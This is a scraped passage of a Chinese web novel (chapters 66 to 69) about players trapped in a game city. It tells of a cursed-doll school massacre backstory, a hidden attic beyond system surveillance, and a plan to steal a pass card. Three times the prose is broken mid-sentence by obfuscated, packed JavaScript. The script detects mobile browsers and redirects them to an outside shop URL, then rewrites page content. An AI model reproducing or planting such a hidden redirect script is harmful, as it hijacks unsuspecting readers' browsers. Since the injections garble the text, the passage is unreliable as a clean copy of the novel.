S23笑眯眯地推着她往前走:“别理他们。你的房间在18号,每天放风三小时,除了在食堂吃饭,其余时间都不能离开房间。” 初与序瞥了他一眼:“你们把我们当犯人?” “巧了,这片区域基本都是杀人犯、纵火犯,或者像你这种未遂的。”S23左右看了看,朝站在角落里的玩家抬了抬下巴,“比如那个,他昨天刚在永冬之城里和邻居自由搏击,不小心把对方搏击死了。” “本来你不是分到这区的,但其他区的玩家都满了。不过只要你不惹事,就不会出现意外。” S23转身挥手:“两周后见啦~” 铁门在身后关闭,初与序走进自己的房间,环视着住处: 一张铁架床,一个嵌入式卫生间,墙壁上布满细密的纹路,应该是防止破坏或越狱的。 她倒是没想到处罚内容是禁足两周,低头看向右手手腕的禁足环,手指轻轻摩挲过内侧的勿忘我纹路。 66.扎人偶副本背景 黄昏时分,食堂里坐满了玩家,餐盘磕在桌面上,发出清脆的响声。 初与序端着餐盘刚坐下,对面就“哐当”一声被人拉开椅子。 “哟,真巧啊。”熟悉的嗓音响起,带着点玩世不恭的懒散,“这不是我们大名鼎鼎的纵火犯吗?” 初与序抬眼,向枝冥正大咧咧坐在她对面,禁足手环松松垮垮地挂在手腕上,看起来像是随时会掉。 “你怎么在这里?”初与序愣了一下。 向枝冥耸耸肩,指了指自己手环上的违规记录:“我可是因为你们进来的,系统判定我违规协助不同副本玩家,泄露副本关键信息,禁足一周。” 初与序:“……” 她毫无胃口地盯着餐盘里的饭菜,开口问道:“《扎人偶》的背景真相是什么?” “真相?”向枝冥仔细想了想,“那个副本我其实没玩过,但之前通过…咳咳(因系统监听不能明说)…拿到了具体背景故事和通关攻略。” “你们是不是已经找到了有学生被霸凌的剧情?” 初与序点头。 “那只是短短一小部分。”向枝冥笑了笑,娓娓道来。 十年前,夜山中学高三(4)班的学生们发现了一个有趣的游戏。 最初只是学生宿舍的恶作剧:有人用碎布缝了个粗糙的布偶,写上讨厌的宿管老师名字,用针扎它的脚。第二天,宿管真的扭伤了脚踝。 于是,这个游戏在班级里流传开来。 “这算什么?我们试试更狠的。”男生们嬉笑着偷偷剪下数学老师的头发,塞进新作的人偶里。三天后,数学老师突发心梗住院。 没有人害怕。只有兴奋。他们开始记录游戏结果,并且在班级日志的空白处写下扭曲的心得: 「头发比指甲效果好。」 「扎心脏比四肢更快。」 「如果加上血,效果会持续更久……」 班主任王敏在批改作业时,从学生周记里发现了端详。她冲进教室,从讲台抽屉里搜出三个未完成的人偶,其中一人赫然贴着她自己的照片。 “你们这是犯罪!”她颤抖着举起人偶,“我要报警!” 全班死一般的寂静,随后爆发出一阵哄笑。 “王老师,你不会认为警察会相信你的话吧?”有学生讥讽道,“你怎么和他们说?说他们是因为一场荒谬的游戏才出事?说一群未成年的学生在几天之内让这么多成年人受伤?” 林浩笑起来,他举起手机,屏幕上播放着王敏收家长红包,私下补课的视频:“王老师,你确定要这么做?” “不如我们互相保密?” 王敏脸色惨白地摔门而出。 那天放学,37名学生留了下来。 “做最后一个吧。”班长从王敏的办公椅上捡起几根落发,“要让她再也没法开口。” 他们用了整整一周准备:林浩借着去王敏家补课,偷来了衣服碎片;文艺委员请教问题,顺手剪下了她一小缕头发;体育委员甚至在王敏不小心受伤时,偷偷藏了一块沾血的纱布。 人偶做得极其精致,布制的躯体里填满草药,关节用鱼线串联,甚至用颜料画出了掌纹。 “最后一针。”班长举起银针,对准人偶的心脏,“大家一起……” 针尖刺入的瞬间,教室的灯突然全部熄灭。 黑暗中,响起“咔哒”一声轻响。 “谁、谁开的玩笑?”林浩的声音在发抖。 月光从窗外照进来,所有人惊恐地发现,讲台上的人偶,自己抬起了头。 人偶的嘴角缓缓裂开,针脚崩裂。然后,它竟然开口说话了,声音像是几十个人同时开口:“谢谢你们…教我…怎么用这个…” 第一个尖叫的是文艺委员,她的人偶从书包里爬出来,用她的针,刺穿了她自己的眼球。 整个教室变成了地狱。 课桌抽屉里的人偶,书包夹层里的人偶,甚至口袋里迷你的人偶,全部活了过来。它们用制作者提供的头发、指甲、血液作为媒介,将37名学生一个接一个拖进了布偶的躯体。 最后死去的是王敏。 第二天清晨,有人发现她吊死在教室风扇上,脖子上缠着人偶的红线。警方在她的口袋里发现了遗书,上面只有一句话:「是我害了孩子们」。 案件原本打算以“教师心理崩溃诱导学生集体自杀”结案,但为了以防后患,将整件事翻改,变成了副本开始前,广播里播报的那样。 而真正的高三(4)班,永远留在了那间教室,每当有玩家进入,他们便继续开始下一轮杀戮游戏,直到真相大白,玩家通关副本,又或者像初与序的队伍一样,直接烧光所有人偶。 向枝冥说完最后一个字,手中抛着铜钱:“真相就是这样,‘恶意’本身便是事件的源头。” 初与序点点头没说话,灰蒙蒙的右眼在灯光下显得格外暗淡。 “那个,眼睛的事,别太难过。”向枝冥放下筷子,目光落到她的右眼上,又移开,“用道教的言论来安慰,《道德经》说……” “‘祸兮,福所倚?’”初与序看过来,“还是说‘五色令人目盲’?” 向枝冥愣了几秒,随手抛出去的铜钱在桌面上转了起来:“没想到你还了解这个,那我换一个。《清静经》说‘人能……’” “ ‘人能常清静,天地悉皆归’。”初与序抬起手指,轻轻按住桌上旋转的铜钱,“那你现在清静吗?如果你清静,还会被系统筛选来到永冬之城吗?” 向枝冥没回答她的问题,声音正经起来:“《道德经》二十三章……” “ ‘骤雨不终朝,骤雨不终日。’ ”初与序接完下半句,平静地看着他,“但永冬之城存在了九千多年。”她也放下筷子,继续道:“道长,如果有人和你说他想跳楼,你会对他说什么?” “啊?”向枝冥下意识坐直了身子,“这个嘛,肯定是安慰啊,一般会说生命可贵,活着才有希望?” “如果那个人说,活着比死痛苦一万倍呢?” 向枝冥张了张嘴,犹豫着开口:“那就告诉他痛苦终会过去?” “如果永远不会过去呢?” 食堂的嘈杂声突然变得很远,向枝冥无意识将铜线在桌面上排列成卦象,又被他一把扫乱。他张了张嘴,最终只是叹了口气:“…我回答不了。” 初与序手指有一搭没一搭地敲着桌面:“你看,我们其实都知道,有些痛苦没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16106213|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解药,有些伤口永远不会愈合。” 铜钱“叮”的一声倒下,显出“凶”卦,向枝冥盯着卦象看了几秒。 作为道士,他本打算引经据典地开解初与序,告诉她“祸福无门,唯人自召”,或者用“物极必反”的道理宽慰她否极泰来,顺便探探她的底细…… 但此刻他发现自己说不过初与序。 “你想说的话没有错,但要是真的用这些话来安慰想跳楼的人,他估计会哭得更凶。”初与序耸耸肩。 “痛苦就是痛苦,不幸就是不幸,有时它们是摧毁性的、无端的、令人窒息的。” “…是。”向枝冥张了张嘴,沉默片刻,叹道:“我是想告诉你,你的右眼失明,未必真就是弱点。” 初与序表情平静:“道长,这话你说给自己听过吗?” 向枝冥沉默了。 “与其用‘祸福相依’安慰我,不如说‘唯灭动心,不灭照心’。” 向枝冥抬起头,初与序已经转身离开,背影瘦削笔直,灰蒙蒙的右眼完美隐藏在刘海的阴影里。 他低头看着杯中晃动的热水,原本是想安慰初与序的,结果现在,反倒是她用一句话点破了自己。 向枝冥忽然想起自己师父生前说过的话: “渡人者,未必能自渡。” 两周后,初与序手腕上的禁足手环终于被解开,S23递来一份协议,和之前没收她的各种物品:“协议,签字。” 初与序扫了一眼,密密麻麻的条款,核心内容不过是警告她别在副本里违规放火,否则下次就不是禁足这么简单了。她直接翻到最后一页,签下自己的名字,连内容都懒得看。 “你不怕我们坑你?”S23挑眉,忍不住问。 初与序将笔放回去:“我眼睛不好,但脑子没坏。” 铁门完全打开的时候,她看到了外面: 景明垂抱着手臂站在最前面,朝初与序微微点头;冬逢初靠在墙角,面上带着温柔的微笑;江意和随歌站在一起,随歌夸张地挥舞着手臂:“初与序!这边!” 初与序回过头和S23打了个招呼,走向他们。两周的禁足让她脚步有些虚浮,景明垂上前一步,无声地扶住她的手臂。 “走吧。”初与序说,“回去了。” 几人沿着永冬之城雪地的主道走,初与序走在队伍末尾,江意沉默地跟了上来。 两人并肩走了一段,江意忽然开口,叫她的名字。 初与序应了一声,没有看他,也没有说其他的话。 “副本里,我说的话太重了。”他的声音很低,几乎要被风吹散,“当时情况紧急......我只能那么说,你别听进去,抱歉。” 街道拐角处,随歌的笑声隐约传来。初与序看着前方同伴的背影,开口:“我没在意。” 江意没说话。 “但道歉我收下了。”她轻轻笑了一下。 火腿面包从前面冬逢初口袋里跳到初与序肩膀上,芝麻眼睛眨呀眨:“队友哪有隔天仇?我就说江意一定会道歉的吧!” 江意:“.....” “哎呀快走了!”随歌在前面喊了一句,“我要冻成冰棍了!” 初与序收回视线。 67.时光之书的阁楼 五人回到D区,推开休息室的门,暖气和灯光扑面而来。 随歌一屁股瘫进沙发,长舒一口气:“终于回来了!这两周初与序不在,副本打得我头发都掉了一把。” “你们这两周通关的是什么副本?”初与序拿起桌上的水杯,抿了一口。 “副本《时光之书》,地点是图书馆。”江意靠在书柜边,从书柜上取出一本厚重的蓝皮册子,放在茶几上,“这是我们从副本里带出来的,你看看。” 初与序伸手拿过册子,低头看。封面上印着冰冷的打印体:《D019次列车观测记录:新人篇(第十八次)》 她微微皱眉,翻开书页,扫过那些密密麻麻的文字: 「玩家初与序于永冬历***(被故意涂抹去)年完成“勿忘我”武器共鸣测试,表现出极强的谨慎稳定性」 「玩家初与序与玩家冬逢初在《死亡电梯》副本首次触发双生武器共鸣,系统数据异常」 「副本《锈》中成功诱发玩家江意的创伤记忆,和玩家随歌的PTSD」 初与序越看越懵,她继续翻看,书页停在最新记录处: 「处罚期间,玩家初与序右眼损伤未影响核心…建议下一步进行…」 后面的书页一片空白,记录到这里戛然而止。初与序又往前翻了,挑选了几页重要内容再看了一遍。 除了一小部分副本记载,册子上的每一页都精准记录着他们的行动,甚至包括一些本该只有他们自己知道的细节。 江意伸手轻轻点了点封面书皮:“我们发现,这本‘时光之书’里记载了从你们进入永冬之城到现在为止的所有行动,不过一大半都是胡扯。”他翻开一页,“比如这里。” 「玩家冬逢初于午夜前往永冬之城医院天台,停留47分钟,入侵系统行为。」 冬逢初摇摇头:“那天我是去抽烟。” “还有这个。”随歌指着一段文字:「玩家初与序和齐无尽在处罚区走廊秘密交谈3分28秒。」 “简直是胡扯,以初与序和齐无尽的关系,一个玩家一个执行官,他们不互打就算好的了。” 初与序翻到第一页的评估报告上,那些关于他们状态的分析,此刻却准确得可怕。右眼的损伤程度、武器的能量波动,甚至心灵链接的细微变化…分毫不差。 但她忽然发现,似乎从整本书开头,就没有关于景明垂的记录,甚至没有“景明垂”三个字。 “但现在把你们带来这里,不全是这本书。”江意说完,把手放在时光之书上,示意另外四人照着他的样子做。 五人的手刚叠放在书上,他的机械手环便骤然亮起刺目的蓝光。初与序只觉得眼前一花,下一秒,D区休息室白皙的墙壁如同被水洗去的颜料般褪色,变成了一间陌生的阁楼。 阁楼里仅仅有一个破旧的沙发和茶几,倾斜的天花板上悬着蜘蛛网,独特的八角形气窗,昏暗的灯泡在风中摇晃,将五人的影子投在贴满无数纸页的墙面上。那些泛黄的纸页密密麻麻,几乎覆盖了每一寸墙壁。 初与序向前一步,竟发现纸页上的所有文字都被模糊的马赛克覆盖,只能隐约看出写字人的字迹飞扬但整齐。 她伸手想揭下一张纸,指尖却穿过了纸面,直直碰到墙壁。 阁楼中央的地板上有一滩干涸的血迹,呈喷射状辐射开来。 “时光之书记载的‘过去’。”江意苍白的手指抚过书页,蓝皮书上亮起微光,“这里是过去的地方,我们偷偷带到了这里。我查了很多资料,也去了暗网询问,但没有任何线索记载这里到底发生了什么。” “但这间阁楼,可以屏蔽系统的监听和监视。” 初与序抬头看向他。 “真的。”随歌点点头,“我当时在这里骂了系统半个小时,系统都没有警告。以往我骂一句就给我处罚扣除积分了。” “也就是说,这间阁楼是除永冬之城之外的另一个虚拟世界?”初与序问道。 江意点头:“不错,玩家在这里说什么、干什么,都行。” 景明垂抬起手,她的指间夹着D栋的通行卡:“我们的通行卡绑定在一起,只要有一天在时光之书内,其余四人无论身在何处,都可以随时进来。” “不过有一点要注意。”江意继续道,“现在突然出现了一个虚拟空间,永冬之城的管理员多少会起疑,不能在这里待久。” “如果被发现了,会受到什么处罚?”初与序问。 “根据我们进入时光之书内的目的,来判断处罚方式。”江意顿了顿,又道,“如果是S23负责我们的审讯和处罚,大概率不会判死刑。” 听到熟悉的执行官编号,初与序愣了一下:“S23?” “他是自己人。”随歌靠在沙发上,拆开一瓶草莓牛奶,解释道,“执行官也分队伍和组的,S23、D19、J23和C13是一组的,目前S23和D19是自己人。” “所以如果是S23发现我们偷偷进了时光之书,他会尽量帮我们减轻处罚。” 初与序忽然想起两周前自己被审讯时,S23大咧咧往那一坐,说审讯室的监听系统已经被他屏蔽了。当时她以为S23这么说是为了套自己的话,现在看来是真的。 “你确定?”景明垂仍抱有疑惑。 “当然!”随歌一骨碌坐起来,“上次我在副本里违规,就是S23帮忙糊弄过去的。家那家伙看着吊儿郎当,其实挺靠谱的。” 他忽然压低声音:“而且,他们那组的执行官,好像也在偷偷调查永冬之城的事。” 初与序垂眸思考。如果S23真的是盟友,那齐无尽又扮演着什么角色? 火腿面包从她口袋里探出头,眼睛转了转:“那我们现在该干什么?” “既然有人替我们兜底,就继续查找线索,看看永冬之城的真相是什么。”初与序缓缓开口,看向其余四人,“你们呢?” “我们都是为了同一个目的,一样的想法。”江意抱着胳膊,平静道。 “这里到底是什么地方?” “所有玩家为什么会被选中?” “妄主究竟想要什么?” “你们早就打算查清真相了吧?”初与序看向随歌和江意,“但只凭你们俩做不到这么多,还需要有能力、值得信任的新人玩家,所以才会找我们合作。” “说的没错。”江意坦然承认,“但无论如何,最重要的是互相信任。” 在这间与世隔绝的陈旧阁楼里,五人第一次真正地站在了同一条战线上。 火腿面包眨了眨眼睛,小声嘀咕:“......你们要造反啊?初与序才从处罚区出来呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16113654|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随歌正想说话,忽然瞥见身旁的冬逢初异常安静。他侧头看去,发现冬逢初低着头,左手垂在身侧,白色衬衫手腕处的布料正缓缓洇出一道道刺目的血痕,冷汗顺着他额角滑落。 “你……” 随歌的话戛然而止,他的目光落到冬逢初左手袖口,忽然和江意对视一眼,两人顿时想到了什么。 江意反应极快,猛地将手掌按在时光之书的封面上:“他受到这里影响了,回去。” 蓝皮书骤然爆发出刺目的光芒,阁楼的墙壁如潮水般褪去,马赛克纸张、血迹斑斑的地板......所有景象都在扭曲中消散。 蓝光骤然消失,五人回到休息室里。初与序第一时间伸手要去拉冬逢初的袖子查看伤口,被随歌猛地拦住。 “诶诶诶等下等下!”随歌几乎是扑过来按住她的手,“呃......那什么,我忽然想起来!”他语速飞快,“初与序眼睛不是该去复查了吗?景明垂你陪她一起去呗。” 初与序转过头,目光在江意和随歌面上停留两秒,收回手站起身:“行,我和景明垂先走了。” 她推开休息室的门,停下脚步,回头看了一眼。冬逢初缩在沙发角落,依旧低着头,嘴唇变得苍白,右手死死攥着左腕。他疲惫地抬眼,和初与序对视,动了动嘴唇,用口型说“去吧”。 初与序跟着景明垂走出了休息室,将门关紧。 她没有去医院,而是和景明垂回到D栋楼下,两人站在长椅旁边,树枝上的雪被寒风吹落,无声地飘到她们肩头。 “你在想什么?”景明垂侧头看向初与序。 “创造执行官的是‘管理员’。”初与序开口,说出了自己的问题,“那‘管理员’又是谁?” 景明垂想了想,道:“我听说,管理员是最早的一批玩家。” 初与序的手指轻轻敲击着长椅扶手,思绪不断延伸。 如果有第一批玩家,那么会不会存在第零批?而玩家们口中所谓的“第一批”创造出执行官的玩家,会不会其实是第零批的幸存者? 如果真是这样,那真正的第一批玩家去了哪里?是被系统抹杀了,还是他们本身就成为了系统的一部分? 还有,在永冬之城,时间确实如常流动,玩家们会成长、衰老、甚至死亡。比如随歌,从20岁进入,如今已经25岁;初与序的右眼从受伤到失明,身上的旧伤疤也随着时间流动慢慢消退。 但现实世界呢? 关于这一点,永冬之城的玩家们众说纷坛,但最广为流传的猜测是:现实世界的时间,被“冻结”了。 初与序曾经在暗网上看到一些老玩家提起,有人在这里度过数十年,出去后却发现现实世界只过去了几秒(实际上从来没有人真正出去过)。也有人声称,自己曾在副本中短暂窥见过现实世界的片段,那里的亲人依旧年轻,街道毫无变化,仿佛他们从未离开。 还有一种可能,当玩家进入永冬之城的那一刻,他们的意识就被系统“复制”了。真正的本体或许仍在现实世界生活,而留在这里的,只是一个被系统改造的灵魂。 而有些玩家在永冬之城死亡后,现实世界的他们也会一并离世。这让人不禁怀疑: 永冬之城究竟是虚拟的牢笼,还是现实的另一种延续? 可能谁也不知道。 68.鱼线 次日,晨光被永冬之城的雪幕过滤得苍白暗淡。除了会受到阁楼影响的冬逢初,另外四人再次聚集在时光之书内。 初与序轻轻点了两下耳骨夹,将面前的商讨画面传递给冬逢初:“好了,开始吧,要干什么?” “去偷系统大厦的通行卡。”随歌靠在沙发上,“先让D19把初与序和冬逢初带进系统处理大厦,交给那个管通行卡的NPC,编号是什么来着?” “A12。”江意在一边提醒。 景明垂问道:“为什么不让D19或S23直接给我们通行卡?” “因为他们手里没有那种通行卡。”随歌无奈摊手,“能打开系统所有大厦的通行卡,整个永冬之城只有两张,一张在妄主手里,另一张就在A12手里。” 初与序和景明垂对视一眼:“所以你们打算让我和冬逢初两个半残去偷通行卡?” “错!”随歌竖起食指,“是让你们光明正大地走进去。”他慢悠悠解释道,“D19会以‘队员受伤需办理停战协议’为借口,带你们去找A12签字,不出意外,通行卡就在他制服口袋里。” 景明垂面无表情道:“如果失败了呢?” “那就变成真正的‘停战协议’了。”江意凉飕飕地说,“给我们收尸的那种。” “但目前我们还少了一样关键东西。”随歌叹气道,“一条足够长、足够灵活、又能承重的细长物件,原用来把通行卡从大厦内部传到外围给我。” 景明垂看了看自己的琴弦:“我的琴弦不够长,而且太明显了。” 计划陷入僵局,四人包括在永冬之城的冬逢初静静思索着办法。 耳边忽然传来冬逢初的声音:“我们先去系统处理区大厦附近看看吧,说不定会有灵感。” 初与序把冬逢初的原话重复给身边人,随歌点点头:“好主意!实地考察总比在这儿瞎想强。”他从面板里掏了半天,掏出一个望远镜和不知名金属小物块,递给初与序:“望远镜可以看清大厦内部,金属小石块可以触发警报,你们可以做一下实验看看。” 初与序收下,这时,江意的手机突然响起,他皱眉接听,简短应答几句后挂断,拍了下随歌肩膀:“我和随歌去处理点麻烦,你们去吧。” 景明垂将琴弦重新缠绕在手腕上:“我和赵禾要去训练场。” 最终,只有初与序和冬逢初两人前往大厦附近探查。临行前,随歌晃了晃手机:“全程语音联系,别关麦!” 初与序打开手机,接通电话后又放回大衣口袋,看向站在身边的冬逢初:“走吧。” 两人穿过永冬之城的长街,树上的雪飘落在初与序的肩头,也落在冬逢初的黑色风衣里。他们的耳机里,随歌还在喋喋不休地分析着可能的方案,江意偶尔插一句冷冰冰的吐槽,景明垂则沉默地听着一切。 大厦越来越近,大门前此刻正站着两位执行官。两人偷偷绕到大厦后方,果然没有后门,连一只苍蝇都飞不出去。 “去高处看看。”初与序指向不远处离大厦最近的一栋楼天台。 两人来到天台上,从这里可以更清晰地观察到下方执行官的巡逻路线。冬逢初接过初与序递来的望远镜,手肘撑在栏杆上,仔细观察着大厦窗内的景象。待一切准备就绪,他轻声道:“可以开始了。” 初与序全力将手中的金属石块掷向大厦门口,小石块在空中划出一道弧线,精准地落到大厦门口。在越过金属检测器时,大厦内的警报触发。同一时间,冬逢初按下计时器按钮。 过了几十秒,几队执行官赶到了大厦门口,冬逢初一同按掉计时器,和初与序迅速蹲下,用石壁遮挡自己。 “警报出发后,执行官到达大厦门口需要47秒,误差正负2秒。”冬逢初在心里计算,低声报了出来。 “这么快?”耳机里传来随歌的声音,“一分钟都不到?” 初与序接过望远镜,调试着,“我刚刚发现,大厦新增了两个旋转摄像头,覆盖了原本的盲区,就连消防通道的检修口都被红外监测到了。” 景明垂那边沉默片刻,像是在思考。忽然,她开口:“可以用鱼线,从通风口穿过来。” “按照我们原本的计划,是从检修口穿进去的。”随歌的声音忽大忽小,像是在忙着什么,“如果换成通风口,距离增加了1.5米,传递时间会延长到9.2秒。” “传递时间不能超过8秒,否则金属卡片的热量会触发玻璃破碎传感器。” 耳机中响起江意的声音:“那就用0.08毫米的鱼线,沉重足够,速度能提升12%。” “但是…这里有卖鱼线的吗?”冬逢初问。 “去找安楚,回北队伍的队员。”江意所处的环境嘈杂,“他的店在A区,应该会有鱼线。” “好,挂了。”初与序挂断电话,将手机重新放好。 然而就在这时,下方的执行官突然抬头,锐利的目光直直扫向他们所在的位置。初与序心跳漏了一拍,本能地将要拔刀。还没等她做出反应,身旁的冬逢初忽然转身逼近她。 他的身影笼罩下来,单手撑在她耳侧的墙壁上,另一只手轻轻扶住她的腰。清秀的脸凑得很近,睫毛几乎能扫到她的脸颊,温热的呼吸拂过她的唇畔,带着若有若无的勿忘我花香。 初与序僵住了。 耳骨夹传来微弱的震动,冬逢初的声音直接在她脑海中响起:“执行官在看,装一下。” 初与序很快反应过来,抬手攥住他的衣领,将他拉得更近。两人的鼻尖几乎相贴,唇与唇之间仅剩一线之隔,呼吸交融,却克制地没有真正触碰。 她静静凝视着冬逢初的脸,恍惚间有种照镜子的错觉。 他们长得太像了:同样的眼型,同样的薄唇线条,甚至连左眼眼尾那颗淡褐色的小痣都分毫不差。初与序能闻到他身上那股清冽的气息和花香,混合着永冬之城冰冷的空气,莫名让人想起雪地里绽放的勿忘我。 她总觉得这气息无比熟悉。 楼下,那名执行官眯着眼看了几秒,最终嗤笑一声,没有多想,转身离开。显然,在他眼里,这不过是又一队在阴影处缠绵的玩家情侣,不值得深究。 直到执行官彻底转过身,冬逢初才缓缓推开。初与序松开他的衣领,指尖残留的温度被冷风迅速吹散。 “下次提前说。”她低声说道,声音比平时哑了几分。 “很抱歉吓到你了。”冬逢初微微倾身,语气诚恳认真。 初与序张张嘴,不自然地移开视线:“没有被吓到。” 冬逢初勾起嘴角,露出淡淡的微笑。 “去A区,找安楚。”初与序简短地说,向楼梯口走去。 A区是永冬之城建立的第一栋楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16113655|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,里面早已住满了玩家。这里与D栋相隔甚远,整片环境气氛都不同。这里的街市也是城中最热闹的,宽阔的雪地两侧都是店铺摊贩,五颜六色的灯光在雪幕中闪烁着光芒。 他们随便推开一家茶馆的门,扑面而来的是浓郁的茶香与暖意。老板是个膀大腰圆的中年男人,脖子上挂着金链子,一见人就热情地迎上来:“哎呀,稀客稀客!看二位面生,是D区来的吧?来来来,尝尝我刚到货的雪山云雾!” 初与序还未来得及拒绝,老板已经手脚麻利地泡了两杯茶塞到他们手里,茶汤清凉,热气氤氲。冬逢初礼貌地接过,目光落在茶面上,似乎是在检测茶中是否有异常。 “您好,我们是来打听……”初与序刚开口,老板又打断她:“别急别急!这茶得趁热喝。对了,你们要不要试试这款限量版茶饼?我给你们打包两块带回去!” 冬逢初轻轻按住老板又要忙活的手:“多谢好意,但我们有急事。请问玩家安楚的店铺怎么走?” 老板一愣,随即恍然大悟地拍了下脑门:“早说嘛!他指向门外右转的小巷,“走到那家黑招牌的就是。不过那小子最近可能和队友吵架了,心情不好。” 初与序点头道谢,转身时老板又热情道:“常来啊!我看你们D区玩家都挺好的!” 推开茶馆门的瞬间,寒风重新扑面而来。 两人踏进小巷深处,来到黑招牌下面。安楚的店铺门檐下悬着一串青铜风铃,在寒风中发出清脆的声响。店门半掩着,从缝隙中飘出淡淡的草木香。 初与序推开门,风铃“叮当”轻响。店内光线昏暗,四周摆了几盆花草,最多的便是永冬之城的专属之花——勿忘我。蓝紫色的小花簇拥在陶盆里,与两人武器上的花纹如出一辙。 后院的布帘被掀开,安楚缓步走出,墨色长发松散地束在脑后。仅穿了一件单薄的衬衫,脖子上挂着一块古朴的木牌护身符,上面刻着道教的符文。 “好久不见。”安楚的声音很柔,吴侬软语,“找我想要什么?” 初与序没有寒暄,开门见山:“鱼线,0.08毫米。能承重、够长的那种。请问有吗?” 安楚唇角微扬,转身走向柜台,从下方的暗格中取出一卷近乎透明的细线。 “鲛丝,可承重两百公斤,长度够绕整个D区一圈。”他顿了顿,将脖子上的护身符摘下来,轻轻压在鲛丝上,“二位放心,没动手脚。” 店内的勿忘我微微摇曳,花香浮动。初与序问:“多少积分?” “我不需要积分。”安楚摇了摇头,“我需要你们告诉我,用鲛丝的目的。” 初与序停顿片刻,唇角微扬,语气平和:“有些副本的机关需要远距离触发,常规手段容易出现意外。”她手指点了点鱼线,“这个比电子干扰更好。” 安楚的长发垂在肩头,闻言轻轻眯起眼:“就这样?” “就这样。”初与序从容地迎上他的视线,“毕竟,谁还没几个不想明说的副本技巧呢?” 安楚笑了笑,拿回护身牌,又将鲛丝往前一推:“有道理。”他转身从花架上摘下一朵勿忘我,别在装鲛丝的纸袋上,“给你们。” 风铃在雪中轻响,初与序接过纸袋时,手指碰到花瓣上凝结的冰晶:“多谢。” 风铃又一次响起,雪从门缝中卷入,落在鲛丝上,转瞬即逝。 69.阴阳渡 窃取通行卡的原计划定在下一个副本前行动,但第二天,永冬之城突然爆发了一场意外风波: #B区高层玩家白闵违规潜入系统办事处,被当场抓获# 消息传得很快,据说白闵独自一人撬开了档案室的电子锁,试图窃取某份加密资料,却在触发警报后被十几名执行官围堵。她反抗激烈,最终被子弹击中胳膊,目前关押在处罚区最高级别的禁足室中。 初与序从永冬之城暗网上看到了现场照片:白闵胳膊被按住,麻花辫散开,脖颈前三凹处纹着一只淡色的红蝴蝶,随着她的呼吸展开翅膀,格外醒目。 “全服第八,意哥的老熟人,之前没来讨论会那个。”随歌在一边咋舌,“她到底想偷什么?” 没等他们深究,系统的惩罚指令已经下达: 【因B区玩家白闵严重违规,现强制B区及周边区域(Z区、A区、B区、C区、D区)所有玩家立刻进入副本筛查】 【目的:排查潜在共犯】 这相当于“一人犯错,全班连坐”,系统显然想借机清洗所有可能和白闵目标一致的玩家。 五人不得不紧急调整计划,偷窃通行卡的事只能推后。初与序点开系统面板,猩红的警告文字刺入眼帘: 【紧急通知】 【副本《阴阳渡》强制开启】 【参与队伍:拯救世界顺便偷草莓牛奶计划组(全员强制组队参与)】 【倒计时:00:29:47】 “还好还好,没有强制分开行动,系统这次倒挺大方。”随歌松了口气,“这种警告类副本我可不想一个人进去。” 景明垂冷笑一声:“分明是想一网打尽。” 江意站起身:“走吧。” 车站上此刻挤满了人,站台上嘈杂不堪,被强制征召的玩家们神色各异,有的低声咒骂,有的面色惨白,还有一部分高层玩家站在角落,神色淡然。 “这次‘连坐’范围不小啊。”随歌摇摇头,感叹道。 初与序微微点头,目光扫视人群,竟在不远处的角落里看到了熟悉的红发男子。 A级副本本来就难,况且还是处罚副本,连一部分高层玩家都至少在副本内待三周,没想到齐无尽这么快就通关回来了。初与序移开视线,跟着另外四人穿过人群,踏上D019次列车。 “又见面了。”J23懒洋洋扫了几人一眼,“采访一下五位,对这次强制进入警告副本,有什么‘感想’呢?” 江意冷笑道:“系统终于找到借口光明正大清理玩家了,可喜可贺。” “能摸鱼就摸鱼,摸不了就躺平呗。”随歌嬉皮笑脸:“希望《阴阳渡》里有自动贩卖机吧,我囤的草莓牛奶快喝完了。” 冬逢初温和地笑了笑:“很幸运,这次还是团队行动,我们会互相照应。” “很正能量的发言。”J23耸耸肩,转向景明垂,“这位呢?” 景明垂连眼皮都懒得抬:“无所谓,反正系统想杀玩家也不是一两天了。” J23转向初与序,初与序淡淡道:“希望这次别像以往,要么直接死透,要么完好无损地回来。” 闻言,其余人想起初与序过的几场副本,无一例外全部都是残血但活到大结局。J23摊开手:“那你的愿望可能永远实现不了了。” 列车缓缓开启,熟悉的系统音响起: 【尊敬的各位玩家您好,您搭乘的D019次列车正在行驶。请您配合工作人员妥善安置好行李,防止遗失。本次列车起点站:永冬之城;终点站:《阴阳渡》。接下来,我会为各位介绍背景设定:】 【自古以来,人间与阴间各行其道,生死轮回,秩序井然。然而近日,地府突生异变,导致阴阳屏障削弱,无数厉鬼逃窜至阴间作乱,而阴间也因亡魂失控陷入混乱。】 